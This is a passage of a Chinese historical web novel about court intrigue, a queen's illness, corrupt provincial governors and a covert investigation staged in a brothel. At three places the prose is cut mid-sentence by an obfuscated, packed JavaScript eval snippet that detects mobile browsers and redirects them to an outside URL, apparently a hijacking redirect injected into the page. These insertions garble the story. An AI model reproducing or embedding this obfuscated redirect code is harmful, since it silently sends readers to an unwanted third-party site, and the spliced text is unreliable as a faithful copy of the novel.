冷声说着,苻洵走到跪成一排的几个人面前。 霍然拔出腰刀,手起刀落,血溅五尺。 瑟缩在前堂的锦瑟冷不防溅了一身血,终于崩溃地尖叫起来。 苻洵恍若未闻,径直走到堂下空地上,那里跪着几个浑身是伤的府兵。他走到受伤最重的一个前面:“洛川别苑的府兵,武艺不输宫廷禁卫,这么多伤如何弄的?” 卫兵颤栗了一下,仰起头正色道:“守护家宅是奴才职责,主子与陛下眼下兄友弟恭,家奴不便主动攻击禁卫,周身伤口,皆是阻挡和防御造成。” 苻洵笑了:“你叫什么?” 卫兵精神一震:“奴才姚晟。” 苻洵点头:“好,姚晟,你从此便是洛川别苑的卫士长。” “各府兵听令,姚晟护宅有功,赏三百金,擢为卫士长;其余因护宅有伤者,赏百金。” 众府兵会意,忙齐声高呼:“愿为主上肝脑涂地!” . 香车停在维阳城青莲巷,一座二进小院的门口,苻洵扶着锦瑟下马车,直接推门进去。 借着满院灯火通明,前院一棵木芙蓉清晰可见,小水塘里藕花正开得热闹,暗香浮动。 二人登堂入室,进了后院,书房、卧房的陈设皆酷似洛川别苑。 “这里不比在灵昌,地方小了些”,苻洵遥望天际,喟然长叹,“我有甚么法子,那是我哥。” 四下打量着,又同她商议:“回头再去采买些摆设,布置起来,你先委屈些住着,若实在住不惯,我再想法子接你回灵昌。” 从倚翠阁被赎身,他始终如一地维护她、待她体贴周全,又如此年少俊美、富贵俱全。 对于她这样的出身,他已是顶好的夫主了。 锦瑟眼神复杂瞥了他一眼,迅速低头,柔声道:“妾已享了太多分外之福,不敢再奢求更多。” 苻洵一瞬不瞬盯着她,柔柔笑了,示意她抬起下颌:“往后,不要如此卑躬屈膝,昂起头来,多笑笑更好看。” “是”,锦瑟忙抬头挺胸,扯了扯嘴角,“公子还有什么吩咐?” 苻洵注视了半晌,深吸一口气、下定了决心,抱臂郑重地说。 “咱们得有个孩子。” . 灵昌长秋宫,萧玥娘倚着榻上软枕,含笑看着坐在对前的年轻女子。 已是盛夏,她却仍穿着素锦宽袖长袍,内饰棉布中衣,袖中伸出的胳膊皮包骨,温婉的鹅蛋脸略微凹陷,强撑的笑容淡得像稀薄的烟岚。 那年轻女子容貌姣好,凤眼修眉、顾盼神飞,一袭毫无修饰的深衣大袍。 “王后娘娘如此,有多久了?”元晴忽然开口。 萧玥娘回想了片刻:“妾这下红之症,是从永兴三年开始的。” “那年入冬,北有狄人侵扰、东有伊河上冻,陛下领兵全郡巡防。戎陵官道被雪封住,朝廷下拨的粮饷进不来,妾怀着孩子奔走各县、筹措粮草。” “后来,郡里平安过了个冬,那个孩子却小产了,妾从此有了下红之症,身子也好一阵差一阵。” 元晴注视着她眼睛:“是个男胎吧?娘娘也因此伤了身子,那年之后,娘娘开始为陛下纳妾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元晴步步紧逼:“你既忧心陛下无后嗣传位,又担忧苻洵图谋不轨,或许还暗示、劝导过陛下莫要放权太多给苻洵。陛下却听不明白,既不肯亲近其他妃嫔,又过分信赖倚重苻洵。” 萧玥娘凄然苦笑:“阿洵长这样大,少说有六年时间是养在郡公府、与陛下同吃同住的,他是如何殚精竭虑地辅佐陛下,若非妾无意窥见那些不堪,定是比陛下更信重他。” “如今,他并未显现不轨之心,岂能仅靠妾妄自猜忌就毁弃名将?” 元晴冷冷逼视她:“所以,你就偷偷倒掉陛下千方百计寻来的药,想着熬死自己,自有新的王后来替他传嗣、替他约束苻洵!” 萧玥娘慌乱避开她的目光:“妾……妾不忍看他失权,我们还有三个女儿……” 元晴摇头,苦笑:“娘娘愿相信陛下与苻洵的兄弟情义,却不愿相信你们的夫妻情分;宁愿相信几个素未谋面的翊国良家子,却不愿相信自己。娘娘若去了,更无人试图约束苻洵,届时三位公主又该如何自处?” 萧玥娘怔住,不知如何应对。 元晴趁热打铁:“娘娘可曾听闻我母后,那样岌岌可危的境况下尚能强撑四年、辅王兄继承大统,娘娘远未到如此危势,何故未战先怯?” 萧玥娘褪去满脸戚容,眼神逐渐坚定,“多谢五公主提点。” 元晴起身,退了几步,面对萧玥娘站定,缓缓躬身、长揖,朗声道:“我来贵国,有三件事……” “其一,为娘娘献上凰羽寺炼制的秘药,辅以其他药汤,不出三月,您定能痊愈如初。” “其二,为娘娘献上卜筮的结果,荣王陛下命中有嗣子三人,且其后嗣仍为荣王。” “其三,奉王兄之命,代五叔之嫡长子,余之堂弟元晢,求娶贵国大公主,国书在此,敬呈王后殿下过目!” “好……好……”萧玥娘站起来,两眼含泪,颤抖双手接过国书,“只是不知,五公主为何如此热衷敝国内政。” 元晴抬眸,深邃而寥远:“凰羽寺受的是大翊供奉,祈的却是全天下的福祉。” “实不相瞒,龙门行宫初见建业侯,周身戾气重重,如一柄至煞凶剑,陛下恰如凶剑之鞘。凶剑若失其鞘,全天下都将血凃遍地,化作人间炼狱。” 54. 风月无边 “紫菀,我好累啊……”元晴一走出后殿,立即歪了身形,靠到跟在身后的紫菀肩上,“劝完这个劝那个,这些痴男怨女好烦……” 紫菀是凰羽寺外门弟子。 当日,元晴在龙门行宫元气大伤,为确保行程无纰漏,出发前回了趟昇阳,寻到这最聊得来的师妹同行。 紫菀年方十三,正是活泼好奇的年龄,诧异地睁大双眼:“师姐,咱们凰羽寺何时炼药了?” “出发前,我从褚姐姐那顺的,养气血有奇效”,元晴好整以暇,“萧王后当年确是伤了身子,之前在英平郡太过操劳才不见起色。可如今是在灵昌,她贵为王后,什么好药寻不到……还是自己想不开。” 想了想又愤愤道:“荣王陛下也是个木头,王后不同他好,就真不去了。俩人绕来绕去,还得我这外人来戳破这层纸。” 紫菀轻轻扯着她袖子,压低声音:“师姐如何知晓王后不同他好?还有,您是如何看到他命里有三子?” 元晴霎时红了脸,轻咳两声,选择性地回答:“修习相术久了,有些天分高的人能窥见未来一鳞半爪……没头没尾的那种。我刚才只是零碎瞧见,荣王陛下坐在长秋宫,就是萧王后刚刚那个位置,有三个男孩喊他‘父王’。” 紫菀若有所思,点了点头:“师姐,看看我这天分能不能修到那个程度,等我能看到未来,就先……” “千万别”,元晴立马打断她的遐想,“窥视未来极耗施术者的寿数和气血,不得擅用。” 紫菀不以为意:“可这才短短一月,您已连看两次了。” “所以,就成这样了……” 元晴轻飘飘从齿缝里蹦出这句话,口鼻忽然流血不止,身子东倒西歪晃了几下,就那样软软地晕了过去。 紫菀目瞪口呆,忙蹲下去喊她拉扯她,怎么都弄不醒。想她扶起来,力气又不足,眼巴巴环顾游廊四周的侍卫。 侍卫们个个站得端直,无动于衷。 头顶突然响起低沉的男声:“混帐东西,都愣着作甚,还不去抬张榻来!” 紫菀抬头看去,只见一男子前呼后拥、疾步走来。 那男子眉清目秀,面容儒雅若文士,却身高七尺、姿仪英伟,穿一袭衮冕,正是苻沣。 苻沣不顾仪态,飞奔过来,半跪着俯身看元晴,牵起袍袖就替她擦拭口鼻鲜血,关切道:“五公主这是……” 紫菀叹气:“师姐这些日子连续施术,元气大损,身子经受不住。” 苻沣脸上露出愧疚,环视四周并无宫婢,几个抬榻的侍卫也不知去了何处,迟疑着问她:“地上凉,附近有闲置的屋舍,可否先请五公主进去歇息片刻?” 紫菀忙不迭点头,又开始犯愁:“师姐都站不起来,如何请?” 却见苻沣低下头,深吸一口气,下定决心,道了声“得罪”,拉起元晴两臂搭在自己肩上,让紫菀在后扶着。 随即缓慢站起来,双掌握成拳托住后面,背起元晴,四平八稳地走向空屋。 . 七月流火,夜风微凉,吹入珠宫贝阙、雕梁画栋,歌舞伎们雪肤花貌、新妆凝香,鱼贯涌入宽敞富丽的明堂。 水晶盘罗列着数不尽的珍馐玉馔,兰陵美酒在玉碗中漾着琥珀光,笙歌吹断、霓裳舞遍。 这只是护国公府最寻常的一顿筵席。 只不过,这一次来的人齐全些。 七月初七,皋州、萝州、沵州、河州,滬南四州的刺史、司马、长史、粮曹……全滬南有些身份的官员齐聚在此,觥筹交错、和光同尘。 郑载云看向萝州刺史,笑道:“那位顾大人,还是不肯来赴宴?” 萝州刺史方玉冷哼:“不识抬举,非但不肯来赴宴,在我官邸住了快一个月,除了入书房谈正事、查赋税账本,连句寒暄都没有。” 皋州刺史孔弼实捋了捋山羊须,眯起双眼:“给他送去的八个婢女,就只收了两个最丑的,做些洒扫和端茶递水的活计。” 沵州刺史郭皓一拍桌子:“要不,跟往常一样?顾大人每日巡查粥棚,若灾民里混进几个暴徒,也是寻常。” 河州刺史聂少城迟疑了片刻,止住他:“且慢……送他的金饼还是收了。” 哄堂大笑,紧跟着七嘴八舌的嘲讽。 “果然是贫家出身,只晓得财帛。” “那八个雏儿本是想着分给诸兄的……被他使唤天天干粗活,纤纤玉手都起茧了,暴殄天物啊……” “哼,刚来这装得人五人六的,多清高的模样,还不是收了?” 郑载云忽然冷笑:“这位陛下可不是个善茬,咱们先前花大力气送进去的人全都折了。不是还有后头的六王弟么,说是犒赏官员、慰问灾民,哪有这样简单?” 郭皓点头:“毕竟是亲兄弟,定是陛下对滬南道有了想法,派他们来暗访,有哪些人,什么情况?” 孔弼实笑得双眉弯弯,小眼睛只剩两条缝:“初四到的阊江,下官已设过接风宴了,眼下那拨人还在阊江呢。以下官愚见,陛下虽棘手,派来的人却都是绣花枕头,比顾星阑更不如。” “六王弟元旭倒是有个正形,每日宴请官员,听听公务。可再厉害,也不过是刚满十五的生瓜蛋子……” “那三个女的,倒是长得一个赛一个勾魂……” “郑夫人和许氏,相貌身段倒好,就是老了些……” 郭皓轻咳两声,向主位使了个眼色。 郑载云仰头,捋了捋花白胡须:“锦珠算是老夫半个女儿,虽无甚情分,毕竟是先王遗孀,一介深宫妇人,无甚可说。” “那个褚氏,据说是有大来头”,孔弼实眼缝中精光闪烁,“就是上半年客商传闻的,魅惑得陛下五迷三道的妖女。” 众人来了精神,齐刷刷向前伸头,目光灼灼望向孔弼实。 “相貌如何?” “腰细不细?” “风情如何?” 孔弼实端起面前金杯,咕噜咕噜下肚,意犹未尽道:“倒是眉目如画、明眸皓齿,腰身袅娜……就是那儿小了些,单说相貌,比不过那两个大的。” “相貌不算绝色,论风情嘛……确是个尤物,桃腮柳眼、雾鬓风鬟,下官也算阅女无数,我见犹怜啊……何况陛下血气方刚。” 众人哄笑道:“自古嫦娥爱少年,人家伺候过陛下,指定看不上你。” 又问:“比之当年幽妃如何?” 幽妃,滬国灭亡前,郑后主的专房宠妃。 孔弼实悠悠笑了,暧昧地看向郭皓:“下官何来眼福得见怀王宠妃,传闻云妃常夜半入令尊书房讨教学问,郭大人可有缘得见?” “行了”,郑载云将酒杯重重往案上一杵,“老夫倒也听说,那褚姓女宠一路排场奢靡,放浪形骸,确是不足为惧。” “无论她们去了哪一州,尽管吃喝玩乐好生招待,多派耳目跟随。大事正在紧要处,莫要松懈!” 众人会意,纷纷站起身来,一个接一个朗声汇报。 皋州刺史孔弼实道:“所有账本已连夜核对过。” 萝州刺史方玉道:“决堤的痕迹都已清除,难民中的钉子都已埋好。” 河州刺史聂少城道:“治疫的药材已搜集好。” 沵州刺史郭皓道:“义军已训练就位。” 陈述完毕后,整整齐齐向郑载云单膝下跪、抱拳,齐声喊道:“为主公效命,万死不辞!” . 墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981264|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里秋千,墙外街道;墙外行人熙攘,墙内佳人笑。 上弦月像玉钩,洒下满城清辉,从巷口往里看,霄台林立、莺啼燕啭、脂香粉腻,每栋高楼的大门口都挂着两串灯笼,灯笼里透出的轻红连成一片,映得整条巷子都旖旎起来。 巷口牌楼上三个大字“柳绵里”。 许姿将那三个字从头到尾、从尾到头读了几遍,咽了咽口水,试探着问:“咱们真的要去这种地方?” 舜英毫不迟疑,点了点头:“阊江风月是滬南之首,来都来了,不如消受一番。” “乞巧节……还是你生辰”,许姿扶额,讪笑道,“你这样过生辰,王上知道么?” “不知道啊,你夫君也不会知道”,舜英理直气壮道,“咱们都去,就等于都没去。” 许姿为她的无耻震惊了半晌,竖起大拇指,兴高采烈挽起她胳膊往里冲:“皋州的美男子盛名远扬,今晚必得去最好的男风馆,敞开了玩,我请客、你买单!” 二人在柳绵里挑挑拣拣,最终择定了一家装潢最古朴典雅的,名为淇奥轩。 一进屋,舜英就被扑面而来的酒气、脂粉气、香气熏得睁不开眼,赶紧展颜弯唇,装作眉开眼笑,目光一触及迎客的小倌,笑容僵在脸上。 一张张大白脸,脂粉糊得亲娘都看不出区别,画着两道铜绿的眉,唇上胭脂涂得像吃过小孩。 虎背熊腰或是骨瘦如柴的男子们,弱柳扶风、西子捧心状,一拥而上往她们身上蹭。 说时迟那时快,舜英伸臂揽住想躲避的许姿,清了清嗓子,怒道:“这是打量谁没见过好的,拿这些货色来糊弄咱们?” 鸨母一张老脸笑得像秋菊:“哪儿敢,是他们见贵人貌美,急不可待呢。” 舜英冷笑不语。 鸨母拍拍手,满脸脂粉的男子一哄而散。 接下来一批,容貌端正了些,身姿也挺拔了些,舜英摇头。 再拍手,下来另一批更好的,舜英继续摇头。 鸨母咬了咬牙,拿出个金铃晃了晃,顶楼下来四个男子,眉清目秀、体态匀称。 许姿侧过头同她咬耳朵:“我还是觉着,比我夫君差远了。” 舜英笑而不言,从袖中拿出一锭金饼,重重搁在大堂中心的紫檀木圆桌上。 鸨母眼睛都直了,颤颤伸手去拿。 舜英一把收起,指向墙边一直凝神抚琴的白衣男子:“就他了!” 鸨母急得眼睛都红了,赔笑道:“贵人,那是从别处来串场子的乐工,不卖的。” 话音刚落,琴声“锵”地一声停了,那高冷得不食人间烟火的白衣站起身,抱琴走过来,容色冷淡:“在下卖艺不卖身。” 又将她们打量一番,忽然眉开眼笑:“若是夫人这般相貌,也不是不能商量的。” 鸨母的下巴掉到了地上。 清冷琴师展眉微笑:“小生只一人,来的却是两位……恐不能尽兴,小生在淇奥轩有一好友,可为夫人引荐。” 舜英笑吟吟将那枚金锭拍回桌上,对鸨母道:“佳公子的好友,定也是标志人儿,我与这位夫人都是体面人,烦请妈妈行个方便。” 两刻钟后,鸨母引着三人一路穿过前堂、游廊、后院,分花拂柳,僻静处果然别有洞天。那是一座独门小院,门楣上錾刻三个瘦金体——醉花阴。 一路上紧紧跟着她们的随从,两眼发直地看着鸨母带两人进入后院,飞快从袖中掏出个小册子和一截炭笔,册子摊开来,密密麻麻记着年、月、日、时刻,她二人去了何处、做了何事、见了何人。 随从两眼放光,在末尾添上一笔——七月初七戌时三刻,褚、许同进柳绵里淇奥轩,择两美男入幕,双双狎之。 55. 萧规曹随 醉花阴的院门嘎吱合上,白衣琴师把琴放到院中石桌上,飞快搬来个茶盏粗的门闩。 闩好院门后,背靠门板,长长呼了口气:“您可来了……再晚一夜,秦桑可就要熬吐了。” 许姿笑容僵在脸上,诧异地看向舜英,却见她脸上无半分笑意,沉声开口:“人都齐了没?” 秦桑摇摇头:“男人这队齐了,玉衡统领在里面等您……姑娘那队,两位姐姐都还未回。” 舜英点点头,大步流星穿过前庭,走向三开门的内室,边走边叮嘱:“待会儿继续弹琴,香薰得浓些。” 许姿愣了半晌,追上去:“这就是你过生辰寻的乐子?” 舜英脚步一顿,转头看向她,点头默认。 许姿声音高了些:“你这副德行,陛下知道吗?” 舜英诧异地反问:“我为什么要让他知道?” 她如此磊落,许姿倒有些好奇,笑嘻嘻拍了拍她肩膀:“诶……逛窑子这套挺熟的,逛过?跟谁去的?” “逛过”,舜英想了想,回答得理所当然,“自然是,跟陛下一起。” 许姿怔在原地,瞠目结舌:“你们心真大……这都不避讳。” 其实最开始,并不是同元旻,是跟她那风流倜傥的师父——元璟。 元璟常说,勾栏瓦舍里最风雅的地方,不在熙熙攘攘的顶楼。越有身份的人越要体面,所以上等的教坊,往往会辟出几个一般人寻不到的隐秘佳境。 去灵昌的头一年,质子府耳目遍布,元旻苦于找不到安全地点谈事,舜英福至心灵,献此良策。 元旻当时就从善如流,然后让武煊先行退下。 屋里只剩他们二人时,元旻脸上青一阵白一阵,默了良久,挤出一句:“等回了昇阳,别再跟九叔厮混了。” 她至今想起元旻精彩脸色,仍有些难以言喻的尴尬。不跟师父厮混,那是不可能的。 只是,如若那时就知自己是女儿身,将来还要同元旻做夫妻,肯定会编另一套说辞了。 光阴如水,恍惚间一去五年,不知何时还能像往日那般,与武煊把酒言欢。 庭院的墙根下辟出一圈花圃,斜放着几根湘妃竹,绑扎搭成花架。习习晚风拂过纤软的花藤,满墙素馨花摇曳着冰肌玉骨,清芬悠悠,温柔地与她涂抹在鬓发、皓腕上的香露融为一体。 不由心念一动,想到宝慈宫东暖阁那个下午,元旻扯过她一片衣袖覆在脸上。 给他的第十三封信,就夹一枝素馨花罢,他应该会喜欢…… . 思忖间,门已从里面拉开,玉衡与几名年轻男子站成一排,齐齐向舜英抱拳行礼。 玉衡笑着说:“兄弟们,这便是往日同你们讲的阿七首领,都打起些精神,若差事办得入了她的眼,可谓前途无量。” 几名男子咋舌:“冒昧了,副统领常同我们讲,说首领如何灵慧机变、果敢刚毅,次次办差都舍身忘死,没成想这样刀口舔血的人物,竟是一名女子。” “女子怎么了”,玉衡作势要踹他们,“闲话休提,东西都齐了没?” 又问舜英:“首领,咱们从哪里开始?” 舜英瞄了一眼许姿,赔笑道:“先说许大人的吧,她的活最多。” 许姿见她这个笑,莫名打了个寒颤。 东屋摆着一架紫檀木架子床,床上放着一口樟木箱子,一个细长的牛皮革袋。樟木箱的盖子已翻开,里面整整齐齐摆放着一叠图册。 许姿疾步上前,略翻了翻,一个又一个奇形怪状的墨圈连成一片,好似密密麻麻的鱼鳞,每片鱼鳞上都挤满了鼠须细毫标注的蝇头小楷。 玉衡看她的眼神也有些同情:“这些是顾星阑收来的萝州鱼鳞图册,有劳许大人。” 许姿蹙眉:“萝州的土地丈量册?我来之前看过,这有何不同?” 舜英笑了笑:“这些并不是刺史府的官方存档,而是顾星阑在方玉官邸的书房掉包出来的。” “怪不得都说,顾大人整宿泡在官邸书房查账本”,许姿恍然大悟,“我当时还奇怪,账本有何好看的,老练的账房先生都能把假的做得天衣无缝……至于真的,都晓得那玩意儿要紧,定是藏在找不着的地方。” “萝州每年上缴赋税,与官存的鱼鳞册完全对的上”,舜英缓缓道,“可他们若要成什么事,得先有钱粮。每年上交朝廷的赋税都是实打实的,只能从别处开源……” “第一种法子,擅自增加苛捐杂税……这得靠顾星阑了,他最会查这种事,多花些工夫就能发现端倪。” “其二,瞒报土地……” 许姿点头:“我记得,朝廷自接收滬南,一直暴乱不断,从未成功丈量过全境田地。可无论他们拿来糊弄官面上的是什么,图的还是多收税,自己先得有一份周全的丈量册。” 玉衡又拉开那个细长牛革囊,抽出一卷绢帛,薄如蝉翼的丝绢展开后一丈见方,上面除了错综复杂的线条,还有数不尽的蝇头小楷,居然是一幅详尽的萝州舆图。 舜英一眼看出端倪:“军用的?” “对,当年贺浮白将军亲手制作的滬南沙盘,那沙盘如今珍藏在凤图阁,世上仅此一份”,玉衡神色有些得意,“陛下命臣选了十个宫廷画工,关在凤图阁描了二十多天才绘出来。” 许姿吁了口气:“这样一对照就方便了,这么多,且先看萝州的吧。” 玉衡眼睛一亮,忙说:“其他三州也有……” 许姿抓着头发哀嚎:“这么多,一个一个来成不成,成不成!” 又冲外头弹琴的秦桑喊起来:“不是《十面埋伏》就是《夜奔》,杀人啦……换首缓和的听听!” 舜英同情地看了她一眼:“天璇天玑一回来,就让她们来帮你。” “首领叫我们?”头顶响起柔媚的女声,白裙绽放如花,从房梁上轻轻飘下。 舜英打量了她们一番,眼神复杂:“大半夜的,穿个白裙子在屋顶上跑,怕别人看不见?” “从群玉坊出来,直接过来的,没时间换。” “大多数时间走的是偏僻巷道,没有尾巴……偶尔上个屋顶被瞄见了无妨”,天玑坦荡地耸肩,“这么快,他们只当是见了女鬼。” 天璇赞同:“毕竟,七月了嘛。” 舜英感觉一股寒意从后背直冲天灵盖,忙岔开话题:“打听得怎样?” “护国公和四州高官并不爱花街柳巷……他们喜欢买雏儿回去,蓄养家伎。” “现在的四州刺史,全是凤鸣二年到三年,由逆王起用,先前朝廷派来的刺史,不是被杀就是被卷进些蹊跷案子,有来无回……” 舜英叹了口气:“孔、郭是郑后主时的权臣,方、聂也是滬南世家,白斗了十几年,把持滬南的还是这么些人。” 玉衡也摇了摇头,吩咐属下道:“你们说说这些日子查出来的。” 男子甲说:“舒湛调阅了记录,滬南道的河道维护支出,朝廷每年都是足银调拨的……” 舜英沉吟片刻后,问道:“这边的河道,若不及时维护,大约多久会出问题?” 男子甲思索道:“舒大人说,滬南水文密布,如若维护不周,正常雨季最多撑两年……像这样的暴雨,至多一年。” 舜英又问:“这儿上一次大水患是何时?” 男子甲尚在回想,玉衡不假思索答道:“凤鸣一年!” 男子甲附和道:“确实,此后两年的雨季都相安无事,去年更是十年难见的旱天。” 舜英有些讶异:“玉衡,你是如何得知凤鸣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981265|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一年的大水患?” 玉衡苦笑:“因为我就是土生土长的沵州人啊。” “那年水患比今年大的多,我娘也是那时没的……” “沵州民风还算淳朴,若只是娘不在了,我吃百家饭也混得大。可那年邪乎得很,水患之后,村子里十有八九的青壮年都失踪了,大家都自顾不暇。” 舜英从中听出熟悉的味道,心一沉:“别处的青壮年呢?” 玉衡摇头:“我那时才十三岁,乞讨着北上,饭都吃不饱,哪留意这许多……只晓得确实萧条了许多。” 舜英更惊讶:“这样大的变故,朝廷无人来问责么?” 天璇轻嗤:“说来好笑,凤鸣一年的水患,滬南确实查处了一大批人,这四州的高官都被换了一遍。” “国朝惯例,刺史一直是朝廷直派,若非那场水患,现今滬南道的这帮人哪来的机会?” 舜英不禁冷笑:“好……好得很,打压异己,办实事的能臣背锅,换上一批居心叵测的逆贼。” 天玑弱弱道:“也不尽是逆王犯糊涂,征和二十年,郑载云一上位,就开始重金贿赂闻氏,往朝中塞人……” 舜英惊愕:“那批人如今何在,朝堂岂不是岌岌可危?” 玉衡犹豫了半晌,摸着鼻子道:“过去的大半年,陛下借着各种由头,把他们杀的杀、贬的贬、流放的流放,全都处理了……” 屋子里瞬间静的可怕,所有人都感觉一股阴风卷过。 舜英眼前发黑,胸口涌上来一股恶寒,晃了晃身子,险些栽倒。 天玑忙一个箭步冲过来扶住她:“可是旧伤又复发了?” 舜英摆摆手,摇头否认。 说来奇怪,自从在龙门行宫喝了苻洵递来的一碗药,她肺腑的内伤再未复发。 她接过茶杯,喝了口热水,深深吸气,压住胸口那股恶寒:“无妨,你们再去打听一件事……这次,去那些偏远小城的下等场子问。” “征和二十年后,是否有人大兴土木?修建陵寝、制造坊、大型砖窑,或是新开采石场、矿场。” “这些都地处偏远、需要大量民夫和木料,做了就一定瞒不住” “此等机密,上面一定是守口如瓶,督工和小吏却未必有那么严的口风。” 说完这许多,舜英眩晕更甚,把杯中茶一口气灌下肚,才感觉好了些。 玉衡忙又倒了一杯递到她手中,劝慰道:“首领,歇歇吧。” 舜英笑了笑,继续吩咐道:“玉衡,顾星阑身边加些武艺高的人,不够就找陛下要……不穿官服、不带利器,特别留意混在难民中的暴徒。生擒即可,闹出了人命不好收场……” 玉衡笑得眉眼弯弯:“陛下早交待过了。” “是了,他在龙川湖吃过教训,自然想得到”,舜英会心一笑,又说,“提醒顾星阑和舒湛,赶紧查两次水患被追责的人……如还有活着的,马上找到藏起来,他们的家人也一样,要快!” 玉衡笑得更甜:“首领又跟陛下想到一处了。” 挠了挠头,又问:“属下有一事不解,要水患,不维护河道不就成了,犯得着毁堤淹田?” 飞廉七星就数玉衡最小,舜英对他总多些宽容,耐心解释道:“他们又要买官又要养兵,多厚的老本都不够挥霍。若赶上这儿年成不好,竭泽而渔也收不上多少税。” “之前昭王对滬南严防死守,他们只有征和二十年之后才有机会捞钱……又不是神仙,算得出哪年没暴雨,自然得年年维护。” 玉衡听得怔愣,忽然收了笑容,认真地说:“首领,属下觉着,你同在灵昌时不一样了。” 舜英不解。 玉衡一瞬不瞬盯着她,正色道:“你想事情的思路,越来越像陛下了。” 56. 思卿不见卿 更剧烈的晕眩袭来,舜英不再强撑,由玉衡搀着进了西屋,躺在榻上歇息。 那一弯上弦月像是嵌在了窗子里,开始变形,两个尖段开始拉长、延伸,长成细细弧线、合拢。 月亮变成了细亮的环,钩状的亮白开始涨缩,一点点变红,看去好像窗棂上镶着一只巨大的、缓缓转动的血红眼球。 风声越来越响,呼啸着扑面而来,裹挟着刺骨的森寒。她打了个哆嗦,坐起来伸手想拉上被子,却发现自己伸出的手从被子里穿了过去。 骇然回头,榻上躺着个一模一样的自己,双目紧闭、纹丝不动。 仿佛一盆冰水劈头浇下,她从榻上一骨碌爬起来,推开槅门,看到玉衡站在前堂圆桌前,对着摊开的舆图正在同下属讲什么,声音灌进她耳中,混沌一团。 她去拉玉衡的袖子,双手从他身体穿了过去,张口欲喊,却发不出半点声音。 凄厉的嘶叫从身后追来,霎时灌满双耳,那嘶叫混着哀嚎、狞笑和惨烈的痛呼,像无数阴冷的针锥入她的脑海、肺腑、四肢百骸。 她痛出了一身冷汗,疯了似的往外狂奔,跑到院门时,左手边忽地一暖,整个人被一股力量拉住,那股暖流温柔地裹住她,扯着她穿过前堂、槅门,回到西屋,再将她摁回榻上。 她蓦地睁圆双眼,发现自己仍平躺在榻上,槅门紧闭,被子整整齐齐叠在脚边。 心噗通噗通狂跳,再次伸出手,试图去拉被子。手心传来一阵绵软,这次,她抓到了实处。 下意识看向窗外,上弦月又白又亮,像一只玉钩,静静嵌在窗子里。 仅仅只是一刹那,槅门外清晰传来玉衡的声音。 “他们要搞事,私兵不会少,这么多人,总得有地方藏。” “陵寝、矿场、采石场都有人去问了,咱们就排查大山……滬南就这三条山,北边挨着阊江这条不可能。” “龙牙,你带几个人去西南九霄山脉暗访。” “苏铁,你带几个人去东南沵安山脉暗访。” 她松了口气,左手触到一个圆圆的物什,举到灯下细看。是一块成色中等的岫玉,精雕细琢成首尾相连、亲亲热热的两条鱼。 这块玉是她在昇阳醒来后,春羽替冯姮转交她的,说是一位英烈遗物,以秘术封存了浩然正气,权当护身符赠与她。 一股暖流从丹田涌进心底,她珍重地将那玉佩拾起来,挂在脖子上。系绳不长不短,玉佩正好垂到胸前,她会心一笑,将玉佩塞进内衬、最贴近心口之处。 经此噩梦,舜英不敢再睡。定了定神起来,继续与玉衡复盘本次布署。 元旻思虑周详,又大都与她不谋而合,目前大的部署已定,细枝末节也只有她因地制宜、随机应变了。 “来之前陛下说,到了这儿,首领就是咱的主心骨。” “滬南这盘棋,能帮他下好的,也只有首领了”,玉衡收敛了以往的嬉皮笑脸,真诚地说,“你与王上这样心意相通,世上多少夫妻一辈子也做不到。问句越界的话,同样是操劳国事,你为何宁作臣子,不作王后?” 舜英默然,思索半晌道:“因为有些事,在对于王后十分重要、对于臣子却无关紧要。” 玉衡茫然:“比如……” 舜英笑了笑,撇开话题:“比如若我是臣子,只需替国君下好这盘棋,可若我成了王后,就得想清为何要下这盘棋。” . 勤政殿的偏殿辟出了一个小书房,不召见朝臣时,元旻常在这熬夜批奏折,走两步就能歇息,甚是方便。 小书房有一张半旧的书案,长约六尺、由整块花梨木雕成,桌面已磨出柔光。两封八百里加急的飞报,静静躺在书案左侧,一封是厚实的邸报,一封是花笺糊成的信函。 元旻先看邸报,安排妥善后,再屏退左右,小心翼翼拆开花纸信函,熟悉的素馨幽香扑面而来。 念念如晤:阊江所获颇丰,详实之处另附邸报,与此信笺一道,交隐蝠信使面呈。陛下收此信时,臣已抵燮陵,乘势进善之。距庙堂越远,更敬仰陛下之德政修明。前庭有素馨满墙,碎玉琼枝、沁人心脾,寄陛下一枝同赏。臣身尚安,勿复挂念,陛下勿忘餐饭、早眠,珍重贵体。——褚舜英鞠启永平元年七月十三 元旻将信读了一遍又一遍,唇角笑容越绽越盛。拉开书案下的暗格,那里已珍藏着四封花笺信函。 第一封木函从睢阳寄出,里面放着一对填满石膏的鸡蛋,蛋壳上简笔画着两张娃娃脸,是他们四五岁的模样。 第二封从龙城寄出,折了一枝垂柳,这是她在告别? 第三封是两块雨花石,形状很像十八寨外、连灌他们十二杯的那个牛角杯。 第四封最可恶,夹了张薄如蝉翼的银红软纱,说是当地有一种素纱襌衣,金贵无比,加些银钱还能订制喜爱的颜色花纹。作夏衣又清凉又飘逸,当地女子引为风尚。 害得他心不在焉了一下午,当夜在床上辗转反侧、浮想联翩,快四更才迷迷糊糊睡着。自那以后,只敢在休沐日或是深夜拆信。 她一路走一路寄,走的越远,书信寄到的时间也越久。 